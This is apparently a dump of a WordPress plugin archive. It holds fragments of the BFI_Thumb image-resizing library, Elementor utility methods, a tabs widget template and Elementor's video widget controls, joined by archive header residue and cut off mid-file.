$single boolean, if false then an array of data will be returned * * @return string|array */ public static function thumb( $url, $params = array(), $single = true ) { extract( $params ); //validate inputs if ( ! $url ) { return false; } $crop_only = isset( $crop_only ) ? $crop_only : false; //define upload path & dir $upload_info = wp_upload_dir(); $upload_dir = $upload_info['basedir']; $upload_url = $upload_info['baseurl']; $theme_url = get_template_directory_uri(); $theme_dir = get_template_directory(); // find the path of the image. Perform 2 checks: // #1 check if the image is in the uploads folder if ( strpos( $url, $upload_url ) !== false ) { $rel_path = str_replace( $upload_url, '', $url ); $img_path = $upload_dir . $rel_path; // #2 check if the image is in the current theme folder } else if ( strpos( $url, $theme_url ) !== false ) { $rel_path = str_replace( $theme_url, '', $url ); $img_path = $theme_dir . $rel_path; } // Fail if we can't find the image in our WP local directory if ( empty( $img_path ) ) { return $url; } // check if img path exists, and is an image indeed if ( ! @file_exists( $img_path ) || ! getimagesize( $img_path ) ) { return $url; } // This is the filename $basename = basename( $img_path ); //get image info $info = pathinfo( $img_path ); $ext = $info['extension']; list( $orig_w, $orig_h ) = getimagesize( $img_path ); // support percentage dimensions. compute percentage based on // the original dimensions if ( isset( $width ) ) { if ( stripos( $width, '%' ) !== false ) { $width = (int) ( (float) str_replace( '%', '', $width ) / 100 * $orig_w ); } } if ( isset( $height ) ) { if ( stripos( $height, '%' ) !== false ) { $height = (int) ( (float) str_replace( '%', '', $height ) / 100 * $orig_h ); } } // The only purpose of this is to determine the final width and height // without performing any actual image manipulation, which will be used // to check whether a resize was previously done. if ( isset( $width ) && $crop_only === false ) { //get image size after cropping $dims = image_resize_dimensions( $orig_w, $orig_h, $width, isset( $height ) ? $height : null, isset( $crop ) ? $crop : false ); $dst_w = isset( $dims[4] ) ? $dims[4] : null; $dst_h = isset( $dims[5] ) ? $dims[5] : null; } else if ( $crop_only === true ) { // we don't want a resize, // but only a crop in the image // get x position to start croping $src_x = ( isset( $crop_x ) ) ? $crop_x : 0; // get y position to start croping $src_y = ( isset( $crop_y ) ) ? $crop_y : 0; // width of the crop if ( isset( $crop_width ) ) { $src_w = $crop_width; } else if ( isset( $width ) ) { $src_w = $width; } else { $src_w = $orig_w; } // height of the crop if ( isset( $crop_height ) ) { $src_h = $crop_height; } else if ( isset( $height ) ) { $src_h = $height; } else { $src_h = $orig_h; } // set the width resize with the crop if ( isset( $crop_width ) && isset( $width ) ) { $dst_w = $width; } else { $dst_w = null; } // set the height resize with the crop if ( isset( $crop_height ) && isset( $height ) ) { $dst_h = $height; } else { $dst_h = null; } // allow percentages if ( isset( $dst_w ) ) { if ( stripos( $dst_w, '%' ) !== false ) { $dst_w = (int) ( (float) str_replace( '%', '', $dst_w ) / 100 * $orig_w ); } } if ( isset( $dst_h ) ) { if ( stripos( $dst_h, '%' ) !== false ) { $dst_h = (int) ( (float) str_replace( '%', '', $dst_h ) / 100 * $orig_h ); } } $dims = image_resize_dimensions( $src_w, $src_h, $dst_w, $dst_h, false ); $dst_w = $dims[4]; $dst_h = $dims[5]; // Make the pos x and pos y work with percentages if ( stripos( $src_x, '%' ) !== false ) { $src_x = (int) ( (float) str_replace( '%', '', $width ) / 100 * $orig_w ); } if ( stripos( $src_y, '%' ) !== false ) { $src_y = (int) ( (float) str_replace( '%', '', $height ) / 100 * $orig_h ); } // allow center to position crop start if ( $src_x === 'center' ) { $src_x = ( $orig_w - $src_w ) / 2; } if ( $src_y === 'center' ) { $src_y = ( $orig_h - $src_h ) / 2; } } // create the suffix for the saved file // we can use this to check whether we need to create a new file or just use an existing one. $suffix = (string) filemtime( $img_path ) . ( isset( $width ) ? str_pad( (string) $width, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $height ) ? str_pad( (string) $height, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $opacity ) ? str_pad( (string) $opacity, 3, '0', STR_PAD_LEFT ) : '100' ) . ( isset( $color ) ? str_pad( preg_replace( '#^\##', '', $color ), 8, '0', STR_PAD_LEFT ) : '00000000' ) . ( isset( $grayscale ) ? ( $grayscale ? '1' : '0' ) : '0' ) . ( isset( $crop ) ? ( $crop ? '1' : '0' ) : '0' ) . ( isset( $negate ) ? ( $negate ? '1' : '0' ) : '0' ) . ( isset( $crop_only ) ? ( $crop_only ? '1' : '0' ) : '0' ) . ( isset( $src_x ) ? str_pad( (string) $src_x, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $src_y ) ? str_pad( (string) $src_y, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $src_w ) ? str_pad( (string) $src_w, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $src_h ) ? str_pad( (string) $src_h, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $dst_w ) ? str_pad( (string) $dst_w, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( isset( $dst_h ) ? str_pad( (string) $dst_h, 5, '0', STR_PAD_LEFT ) : '00000' ) . ( ( isset ( $quality ) && $quality > 0 && $quality <= 100 ) ? ( $quality ? (string) $quality : '0' ) : '0' ); $suffix = self::base_convert_arbitrary( $suffix, 10, 36 ); // use this to check if cropped image already exists, so we can return that instead $dst_rel_path = str_replace( '.' . $ext, '', basename( $img_path ) ); // If opacity is set, change the image type to png if ( isset( $opacity ) ) { $ext = 'png'; } // Create the upload subdirectory, this is where // we store all our generated images if ( defined( 'BFITHUMB_UPLOAD_DIR' ) ) { $upload_dir .= "/" . BFITHUMB_UPLOAD_DIR; $upload_url .= "/" . BFITHUMB_UPLOAD_DIR; } else { $upload_dir .= "/bfi_thumb"; $upload_url .= "/bfi_thumb"; } if ( ! is_dir( $upload_dir ) ) { wp_mkdir_p( $upload_dir ); } // destination paths and urls $destfilename = "{$upload_dir}/{$dst_rel_path}-{$suffix}.{$ext}"; // The urls generated have lower case extensions regardless of the original case $ext = strtolower( $ext ); $img_url = "{$upload_url}/{$dst_rel_path}-{$suffix}.{$ext}"; // if file exists, just return it if ( @file_exists( $destfilename ) && getimagesize( $destfilename ) ) { } else { // perform resizing and other filters $editor = wp_get_image_editor( $img_path ); if ( is_wp_error( $editor ) ) { return false; } /* * Perform image manipulations */ if ( $crop_only === false ) { if ( ( isset( $width ) && $width ) || ( isset( $height ) && $height ) ) { if ( is_wp_error( $editor->resize( isset( $width ) ? $width : null, isset( $height ) ? $height : null, isset( $crop ) ? $crop : false ) ) ) { return false; } } } else { if ( is_wp_error( $editor->crop( $src_x, $src_y, $src_w, $src_h, $dst_w, $dst_h ) ) ) { return false; } } if ( isset( $negate ) ) { if ( $negate ) { if ( is_wp_error( $editor->negate() ) ) { return false; } } } if ( isset( $opacity ) ) { if ( is_wp_error( $editor->opacity( $opacity ) ) ) { return false; } } if ( isset( $grayscale ) ) { if ( $grayscale ) { if ( is_wp_error( $editor->grayscale() ) ) { return false; } } } if ( isset( $color ) ) { if ( is_wp_error( $editor->colorize( $color ) ) ) { return false; } } // set the image quality (1-100) to save this image at if ( isset( $quality ) && $quality > 0 && $quality <= 100 && $ext != 'png' ) { $editor->set_quality( $quality ); } // save our new image $mime_type = isset( $opacity ) ? 'image/png' : null; $resized_file = $editor->save( $destfilename, $mime_type ); } //return the output if ( $single ) { $image = $img_url; } else { //array return $image = array( 0 => $img_url, 1 => isset( $dst_w ) ? $dst_w : $orig_w, 2 => isset( $dst_h ) ? $dst_h : $orig_h, ); } return $image; } /** Shortens a number into a base 36 string * * @param $number string a string of numbers to convert * @param $fromBase starting base * @param $toBase base to convert the number to * * @return string base converted characters */ protected static function base_convert_arbitrary( $number, $fromBase, $toBase ) { $digits = '0123456789abcdefghijklmnopqrstuvwxyz'; $length = strlen( $number ); $result = ''; $nibbles = array(); for ( $i = 0; $i < $length; ++$i ) { $nibbles[ $i ] = strpos( $digits, $number[ $i ] ); } do { $value = 0; $newlen = 0; for ( $i = 0; $i < $length; ++$i ) { $value = $value * $fromBase + $nibbles[ $i ]; if ( $value >= $toBase ) { $nibbles[ $newlen++ ] = (int) ( $value / $toBase ); $value %= $toBase; } else if ( $newlen > 0 ) { $nibbles[ $newlen++ ] = 0; } } $length = $newlen; $result = $digits[ $value ] . $result; } while ( $newlen != 0 ); return $result; } } } // don't use the default resizer since we want to allow resizing to larger sizes (than the original one) // Parts are copied from media.php // Crop is always applied (just like timthumb) // Don't use this inside the admin since sometimes images in the media library get resized if ( ! is_admin() ) { add_filter( 'image_resize_dimensions', 'bfi_image_resize_dimensions', 10, 5 ); } if ( ! function_exists( 'bfi_image_resize_dimensions' ) ) { function bfi_image_resize_dimensions( $payload, $orig_w, $orig_h, $dest_w, $dest_h, $crop = false ) { $aspect_ratio = $orig_w / $orig_h; $new_w = $dest_w; $new_h = $dest_h; if ( empty( $new_w ) || $new_w < 0 ) { $new_w = intval( $new_h * $aspect_ratio ); } if ( empty( $new_h ) || $new_h < 0 ) { $new_h = intval( $new_w / $aspect_ratio ); } $size_ratio = max( $new_w / $orig_w, $new_h / $orig_h ); $crop_w = round( $new_w / $size_ratio ); $crop_h = round( $new_h / $size_ratio ); $s_x = floor( ( $orig_w - $crop_w ) / 2 ); $s_y = floor( ( $orig_h - $crop_h ) / 2 ); // Safe guard against super large or zero images which might cause 500 errors if ( $new_w > 5000 || $new_h > 5000 || $new_w <= 0 || $new_h <= 0 ) { return null; } // the return array matches the parameters to imagecopyresampled() // int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h ); } } // This function allows us to latch on WP image functions such as // the_post_thumbnail, get_image_tag and wp_get_attachment_image_src // so that you won't have to use the function bfi_thumb in order to do resizing. // To make this work, in the WP image functions, when specifying an // array for the image dimensions, add a 'bfi_thumb' => true to // the array, then add your normal $params arguments. // // e.g. the_post_thumbnail( array( 1024, 400, 'bfi_thumb' => true, 'grayscale' => true ) ); add_filter( 'image_downsize', 'bfi_image_downsize', 1, 3 ); if ( ! function_exists( 'bfi_image_downsize' ) ) { function bfi_image_downsize( $out, $id, $size ) { if ( ! is_array( $size ) ) { return false; } if ( ! array_key_exists( 'bfi_thumb', $size ) ) { return false; } if ( empty( $size['bfi_thumb'] ) ) { return false; } $img_url = wp_get_attachment_url( $id ); $params = $size; $params['width'] = $size[0]; $params['height'] = $size[1]; $resized_img_url = bfi_thumb( $img_url, $params ); return array( $resized_img_url, $size[0], $size[1], false ); } } includes/libraries/wp-background-process/wp-async-request.php000064400000000463147206604650020522 0ustar00 [ 'iframe' => [ 'allow' => true, 'allowfullscreen' => true, 'frameborder' => true, 'height' => true, 'loading' => true, 'name' => true, 'referrerpolicy' => true, 'sandbox' => true, 'src' => true, 'width' => true, ], ], 'svg' => [ 'svg' => [ 'aria-hidden' => true, 'aria-labelledby' => true, 'class' => true, 'height' => true, 'role' => true, 'viewbox' => true, 'width' => true, 'xmlns' => true, ], 'g' => [ 'fill' => true, ], 'title' => [ 'title' => true, ], 'path' => [ 'd' => true, 'fill' => true, ], ], 'image' => [ 'img' => [ 'srcset' => true, 'sizes' => true, ], ], ]; /** * Is WP CLI. * * @return bool */ public static function is_wp_cli() { return defined( 'WP_CLI' ) && WP_CLI; } /** * Is script debug. * * Whether script debug is enabled or not. * * @since 1.0.0 * @access public * @static * * @return bool True if it's a script debug is active, false otherwise. */ public static function is_script_debug() { return defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG; } /** * Whether elementor test mode is enabled or not. * * @return bool */ public static function is_elementor_tests() { return defined( 'ELEMENTOR_TESTS' ) && ELEMENTOR_TESTS; } /** * Get pro link. * * Retrieve the link to Elementor Pro. * * @since 1.7.0 * @access public * @static * * @param string $link URL to Elementor pro. * * @return string Elementor pro link. */ public static function get_pro_link( $link ) { static $theme_name = false; if ( ! $theme_name ) { $theme_obj = wp_get_theme(); if ( $theme_obj->parent() ) { $theme_name = $theme_obj->parent()->get( 'Name' ); } else { $theme_name = $theme_obj->get( 'Name' ); } $theme_name = sanitize_key( $theme_name ); } $link = add_query_arg( 'utm_term', $theme_name, $link ); return $link; } /** * Replace URLs. * * Replace old URLs to new URLs. This method also updates all the Elementor data. * * @since 2.1.0 * @static * @access public * * @param $from * @param $to * * @return string * @throws \Exception */ public static function replace_urls( $from, $to ) { $from = trim( $from ); $to = trim( $to ); if ( empty( $from ) ) { throw new \Exception( 'Couldn’t replace your address because the old URL was not provided. Try again by entering the old URL.' ); } if ( empty( $to ) ) { throw new \Exception( 'Couldn’t replace your address because the new URL was not provided. Try again by entering the new URL.' ); } if ( $from === $to ) { throw new \Exception( 'Couldn’t replace your address because both of the URLs provided are identical. Try again by entering different URLs.' ); } $is_valid_urls = ( filter_var( $from, FILTER_VALIDATE_URL ) && filter_var( $to, FILTER_VALIDATE_URL ) ); if ( ! $is_valid_urls ) { throw new \Exception( 'Couldn’t replace your address because at least one of the URLs provided are invalid. Try again by entering valid URLs.' ); } global $wpdb; $escaped_from = str_replace( '/', '\\/', $from ); $escaped_to = str_replace( '/', '\\/', $to ); $meta_value_like = '[%'; // meta_value LIKE '[%' are json formatted $rows_affected = $wpdb->query( $wpdb->prepare( "UPDATE {$wpdb->postmeta} " . 'SET `meta_value` = REPLACE(`meta_value`, %s, %s) ' . "WHERE `meta_key` = '_elementor_data' AND `meta_value` LIKE %s;", $escaped_from, $escaped_to, $meta_value_like ) ); if ( false === $rows_affected ) { throw new \Exception( 'An error occurred while replacing URL\'s.' ); } // Allow externals to replace-urls, when they have to. $rows_affected += (int) apply_filters( 'elementor/tools/replace-urls', 0, $from, $to ); Plugin::$instance->files_manager->clear_cache(); return sprintf( /* translators: %d: Number of rows. */ _n( '%d database row affected.', '%d database rows affected.', $rows_affected, 'elementor' ), $rows_affected ); } /** * Is post supports Elementor. * * Whether the post supports editing with Elementor. * * @since 1.0.0 * @access public * @static * * @param int $post_id Optional. Post ID. Default is `0`. * * @return string True if post supports editing with Elementor, false otherwise. */ public static function is_post_support( $post_id = 0 ) { $post_type = get_post_type( $post_id ); $is_supported = self::is_post_type_support( $post_type ); /** * Is post type support. * * Filters whether the post type supports editing with Elementor. * * @since 1.0.0 * @deprecated 2.2.0 Use `elementor/utils/is_post_support` hook Instead. * * @param bool $is_supported Whether the post type supports editing with Elementor. * @param int $post_id Post ID. * @param string $post_type Post type. */ $is_supported = apply_filters( 'elementor/utils/is_post_type_support', $is_supported, $post_id, $post_type ); /** * Is post support. * * Filters whether the post supports editing with Elementor. * * @since 2.2.0 * * @param bool $is_supported Whether the post type supports editing with Elementor. * @param int $post_id Post ID. * @param string $post_type Post type. */ $is_supported = apply_filters( 'elementor/utils/is_post_support', $is_supported, $post_id, $post_type ); return $is_supported; } /** * Is post type supports Elementor. * * Whether the post type supports editing with Elementor. * * @since 2.2.0 * @access public * @static * * @param string $post_type Post Type. * * @return string True if post type supports editing with Elementor, false otherwise. */ public static function is_post_type_support( $post_type ) { if ( ! post_type_exists( $post_type ) ) { return false; } if ( ! post_type_supports( $post_type, 'elementor' ) ) { return false; } return true; } /** * Get placeholder image source. * * Retrieve the source of the placeholder image. * * @since 1.0.0 * @access public * @static * * @return string The source of the default placeholder image used by Elementor. */ public static function get_placeholder_image_src() { $placeholder_image = ELEMENTOR_ASSETS_URL . 'images/placeholder.png'; /** * Get placeholder image source. * * Filters the source of the default placeholder image used by Elementor. * * @since 1.0.0 * * @param string $placeholder_image The source of the default placeholder image. */ $placeholder_image = apply_filters( 'elementor/utils/get_placeholder_image_src', $placeholder_image ); return $placeholder_image; } /** * Generate random string. * * Returns a string containing a hexadecimal representation of random number. * * @since 1.0.0 * @access public * @static * * @return string Random string. */ public static function generate_random_string() { return dechex( rand() ); } /** * Do not cache. * * Tell WordPress cache plugins not to cache this request. * * @since 1.0.0 * @access public * @static */ public static function do_not_cache() { if ( ! defined( 'DONOTCACHEPAGE' ) ) { define( 'DONOTCACHEPAGE', true ); } if ( ! defined( 'DONOTCACHEDB' ) ) { define( 'DONOTCACHEDB', true ); } if ( ! defined( 'DONOTMINIFY' ) ) { define( 'DONOTMINIFY', true ); } if ( ! defined( 'DONOTCDN' ) ) { define( 'DONOTCDN', true ); } if ( ! defined( 'DONOTCACHEOBJECT' ) ) { define( 'DONOTCACHEOBJECT', true ); } // Set the headers to prevent caching for the different browsers. nocache_headers(); } /** * Get timezone string. * * Retrieve timezone string from the WordPress database. * * @since 1.0.0 * @access public * @static * * @return string Timezone string. */ public static function get_timezone_string() { $current_offset = (float) get_option( 'gmt_offset' ); $timezone_string = get_option( 'timezone_string' ); // Create a UTC+- zone if no timezone string exists. if ( empty( $timezone_string ) ) { if ( $current_offset < 0 ) { $timezone_string = 'UTC' . $current_offset; } else { $timezone_string = 'UTC+' . $current_offset; } } return $timezone_string; } /** * Get create new post URL. * * Retrieve a custom URL for creating a new post/page using Elementor. * * @since 1.9.0 * @access public * @deprecated 3.3.0 Use `Plugin::$instance->documents->get_create_new_post_url()` instead. * @static * * @param string $post_type Optional. Post type slug. Default is 'page'. * @param string|null $template_type Optional. Query arg 'template_type'. Default is null. * * @return string A URL for creating new post using Elementor. */ public static function get_create_new_post_url( $post_type = 'page', $template_type = null ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __FUNCTION__, '3.3.0', 'Plugin::$instance->documents->get_create_new_post_url()' ); return Plugin::$instance->documents->get_create_new_post_url( $post_type, $template_type ); } /** * Get post autosave. * * Retrieve an autosave for any given post. * * @since 1.9.2 * @access public * @static * * @param int $post_id Post ID. * @param int $user_id Optional. User ID. Default is `0`. * * @return \WP_Post|false Post autosave or false. */ public static function get_post_autosave( $post_id, $user_id = 0 ) { global $wpdb; $post = get_post( $post_id ); $where = $wpdb->prepare( 'post_parent = %d AND post_name LIKE %s AND post_modified_gmt > %s', [ $post_id, "{$post_id}-autosave%", $post->post_modified_gmt ] ); if ( $user_id ) { $where .= $wpdb->prepare( ' AND post_author = %d', $user_id ); } $revision = $wpdb->get_row( "SELECT * FROM $wpdb->posts WHERE $where AND post_type = 'revision'" ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared if ( $revision ) { $revision = new \WP_Post( $revision ); } else { $revision = false; } return $revision; } /** * Is CPT supports custom templates. * * Whether the Custom Post Type supports templates. * * @since 2.0.0 * @access public * @static * * @return bool True is templates are supported, False otherwise. */ public static function is_cpt_custom_templates_supported() { require_once ABSPATH . '/wp-admin/includes/theme.php'; return method_exists( wp_get_theme(), 'get_post_templates' ); } /** * @since 2.1.2 * @access public * @static */ public static function array_inject( $array, $key, $insert ) { $length = array_search( $key, array_keys( $array ), true ) + 1; return array_slice( $array, 0, $length, true ) + $insert + array_slice( $array, $length, null, true ); } /** * Render html attributes * * @access public * @static * @param array $attributes * * @return string */ public static function render_html_attributes( array $attributes ) { $rendered_attributes = []; foreach ( $attributes as $attribute_key => $attribute_values ) { if ( is_array( $attribute_values ) ) { $attribute_values = implode( ' ', $attribute_values ); } $rendered_attributes[] = sprintf( '%1$s="%2$s"', $attribute_key, esc_attr( $attribute_values ) ); } return implode( ' ', $rendered_attributes ); } /** * Safe print html attributes * * @access public * @static * @param array $attributes */ public static function print_html_attributes( array $attributes ) { // PHPCS - the method render_html_attributes is safe. echo self::render_html_attributes( $attributes ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } public static function get_meta_viewport( $context = '' ) { $meta_tag = ''; /** * Viewport meta tag. * * Filters the meta tag containing the viewport information. * * This hook can be used to change the initial viewport meta tag set by Elementor * and replace it with a different viewport tag. * * @since 2.5.0 * * @param string $meta_tag Viewport meta tag. * @param string $context Page context. */ $meta_tag = apply_filters( 'elementor/template/viewport_tag', $meta_tag, $context ); return $meta_tag; } /** * Add Elementor Config js vars to the relevant script handle, * WP will wrap it with
<# if ( settings.tabs ) { var tabindex = view.getIDInt().toString().substr( 0, 3 ), iconHTML = elementor.helpers.renderIcon( view, settings.selected_icon, {}, 'i' , 'object' ), iconActiveHTML = elementor.helpers.renderIcon( view, settings.selected_active_icon, {}, 'i' , 'object' ), migrated = elementor.helpers.isIconMigrated( settings, 'selected_icon' ); _.each( settings.tabs, function( item, index ) { var tabCount = index + 1, tabTitleKey = view.getRepeaterSettingKey( 'tab_title', 'tabs', index ), tabContentKey = view.getRepeaterSettingKey( 'tab_content', 'tabs', index ); view.addRenderAttribute( tabTitleKey, { 'id': 'elementor-tab-title-' + tabindex + tabCount, 'class': [ 'elementor-tab-title' ], 'tabindex': tabindex + tabCount, 'data-tab': tabCount, 'role': 'button', 'aria-controls': 'elementor-tab-content-' + tabindex + tabCount, 'aria-expanded': 'false', } ); view.addRenderAttribute( tabContentKey, { 'id': 'elementor-tab-content-' + tabindex + tabCount, 'class': [ 'elementor-tab-content', 'elementor-clearfix' ], 'data-tab': tabCount, 'role': 'region', 'aria-labelledby': 'elementor-tab-title-' + tabindex + tabCount } ); view.addInlineEditingAttributes( tabContentKey, 'advanced' ); var titleHTMLTag = elementor.helpers.validateHTMLTag( settings.title_html_tag ); #>
<{{{ titleHTMLTag }}} {{{ view.getRenderAttributeString( tabTitleKey ) }}}> <# if ( settings.icon || settings.selected_icon ) { #> <# } #> {{{ item.tab_title }}}
{{{ item.tab_content }}}
<# } ); } #>
! Utils::has_pro(), 'image' => esc_url( ELEMENTOR_ASSETS_URL . 'images/go-pro.svg' ), 'image_alt' => esc_attr__( 'Upgrade', 'elementor' ), 'title' => esc_html__( "Grab your visitors' attention", 'elementor' ), 'description' => esc_html__( 'Get the Video Playlist widget and grow your toolbox with Elementor Pro.', 'elementor' ), 'upgrade_url' => esc_url( 'https://go.elementor.com/go-pro-video-widget/' ), 'upgrade_text' => esc_html__( 'Upgrade Now', 'elementor' ), ]; } /** * Register video widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $this->start_controls_section( 'section_video', [ 'label' => esc_html__( 'Video', 'elementor' ), ] ); $this->add_control( 'video_type', [ 'label' => esc_html__( 'Source', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'youtube', 'options' => [ 'youtube' => esc_html__( 'YouTube', 'elementor' ), 'vimeo' => esc_html__( 'Vimeo', 'elementor' ), 'dailymotion' => esc_html__( 'Dailymotion', 'elementor' ), 'videopress' => esc_html__( 'VideoPress', 'elementor' ), 'hosted' => esc_html__( 'Self Hosted', 'elementor' ), ], 'frontend_available' => true, ] ); $this->add_control( 'youtube_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'placeholder' => esc_html__( 'Enter your URL', 'elementor' ) . ' (YouTube)', 'default' => 'https://www.youtube.com/watch?v=XHOmBV4js_E', 'label_block' => true, 'condition' => [ 'video_type' => 'youtube', ], 'ai' => [ 'active' => false, ], 'frontend_available' => true, ] ); $this->add_control( 'vimeo_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'placeholder' => esc_html__( 'Enter your URL', 'elementor' ) . ' (Vimeo)', 'default' => 'https://vimeo.com/235215203', 'label_block' => true, 'condition' => [ 'video_type' => 'vimeo', ], 'ai' => [ 'active' => false, ], ] ); $this->add_control( 'dailymotion_url', [ 'label' => esc_html__( 'Link', 'elementor' ), 'type' => Controls_Manager::TEXT, 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'placeholder' => esc_html__( 'Enter your URL', 'elementor' ) . ' (Dailymotion)', 'default' => 'https://www.dailymotion.com/video/x6tqhqb', 'label_block' => true, 'condition' => [ 'video_type' => 'dailymotion', ], 'ai' => [ 'active' => false, ], ] ); $this->add_control( 'insert_url', [ 'label' => esc_html__( 'External URL', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'video_type' => [ 'hosted', 'videopress' ], ], ] ); $this->add_control( 'hosted_url', [ 'label' => esc_html__( 'Choose Video File', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::MEDIA_CATEGORY, ], ], 'media_types' => [ 'video', ], 'condition' => [ 'video_type' => [ 'hosted', 'videopress' ], 'insert_url' => '', ], ] ); $this->add_control( 'external_url', [ 'label' => esc_html__( 'URL', 'elementor' ), 'type' => Controls_Manager::URL, 'autocomplete' => false, 'options' => false, 'label_block' => true, 'show_label' => false, 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'placeholder' => esc_html__( 'Enter your URL', 'elementor' ), 'condition' => [ 'video_type' => 'hosted', 'insert_url' => 'yes', ], ] ); $this->add_control( 'videopress_url', [ 'label' => esc_html__( 'URL', 'elementor' ), 'type' => Controls_Manager::TEXT, 'label_block' => true, 'show_label' => false, 'default' => 'https://videopress.com/v/ZCAOzTNk', 'dynamic' => [ 'active' => true, 'categories' => [ TagsModule::POST_META_CATEGORY, TagsModule::URL_CATEGORY, ], ], 'placeholder' => esc_html__( 'VideoPress URL', 'elementor' ), 'ai' => [ 'active' => false, ], 'condition' => [ 'video_type' => 'videopress', 'insert_url' => 'yes', ], ] ); $this->add_control( 'start', [ 'label' => esc_html__( 'Start Time', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Specify a start time (in seconds)', 'elementor' ), 'frontend_available' => true, 'separator' => 'before', ] ); $this->add_control( 'end', [ 'label' => esc_html__( 'End Time', 'elementor' ), 'type' => Controls_Manager::NUMBER, 'description' => esc_html__( 'Specify an end time (in seconds)', 'elementor' ), 'condition' => [ 'video_type' => [ 'youtube', 'hosted' ], ], 'frontend_available' => true, ] ); $this->add_control( 'video_options', [ 'label' => esc_html__( 'Video Options', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'autoplay', [ 'label' => esc_html__( 'Autoplay', 'elementor' ), 'description' => sprintf( /* translators: 1: `` opening tag, 2: `` closing tag. */ esc_html__( 'Note: Autoplay is affected by %1$s Google’s Autoplay policy %2$s on Chrome browsers.', 'elementor' ), '', '' ), 'type' => Controls_Manager::SWITCHER, 'frontend_available' => true, ] ); $this->add_control( 'play_on_mobile', [ 'label' => esc_html__( 'Play On Mobile', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'autoplay' => 'yes', ], 'frontend_available' => true, ] ); $this->add_control( 'mute', [ 'label' => esc_html__( 'Mute', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'frontend_available' => true, ] ); $this->add_control( 'loop', [ 'label' => esc_html__( 'Loop', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'video_type!' => 'dailymotion', ], 'frontend_available' => true, ] ); $this->add_control( 'controls', [ 'label' => esc_html__( 'Player Controls', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'video_type!' => 'vimeo', ], 'frontend_available' => true, ] ); $this->add_control( 'showinfo', [ 'label' => esc_html__( 'Video Info', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'video_type' => [ 'dailymotion' ], ], ] ); $this->add_control( 'modestbranding', [ 'label' => esc_html__( 'Modest Branding', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'condition' => [ 'video_type' => [ 'youtube' ], 'controls' => 'yes', ], 'frontend_available' => true, ] ); $this->add_control( 'logo', [ 'label' => esc_html__( 'Logo', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'video_type' => [ 'dailymotion' ], ], ] ); // YouTube. $this->add_control( 'yt_privacy', [ 'label' => esc_html__( 'Privacy Mode', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'description' => esc_html__( 'When you turn on privacy mode, YouTube/Vimeo won\'t store information about visitors on your website unless they play the video.', 'elementor' ), 'condition' => [ 'video_type' => [ 'youtube', 'vimeo' ], ], 'frontend_available' => true, ] ); $this->add_control( 'lazy_load', [ 'label' => esc_html__( 'Lazy Load', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'conditions' => [ 'relation' => 'or', 'terms' => [ [ 'name' => 'video_type', 'operator' => '===', 'value' => 'youtube', ], [ 'relation' => 'and', 'terms' => [ [ 'name' => 'show_image_overlay', 'operator' => '===', 'value' => 'yes', ], [ 'name' => 'video_type', 'operator' => '!==', 'value' => 'hosted', ], ], ], ], ], 'frontend_available' => true, ] ); $this->add_control( 'rel', [ 'label' => esc_html__( 'Suggested Videos', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '' => esc_html__( 'Current Video Channel', 'elementor' ), 'yes' => esc_html__( 'Any Video', 'elementor' ), ], 'condition' => [ 'video_type' => 'youtube', ], ] ); // Vimeo. $this->add_control( 'vimeo_title', [ 'label' => esc_html__( 'Intro Title', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'video_type' => 'vimeo', ], ] ); $this->add_control( 'vimeo_portrait', [ 'label' => esc_html__( 'Intro Portrait', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => 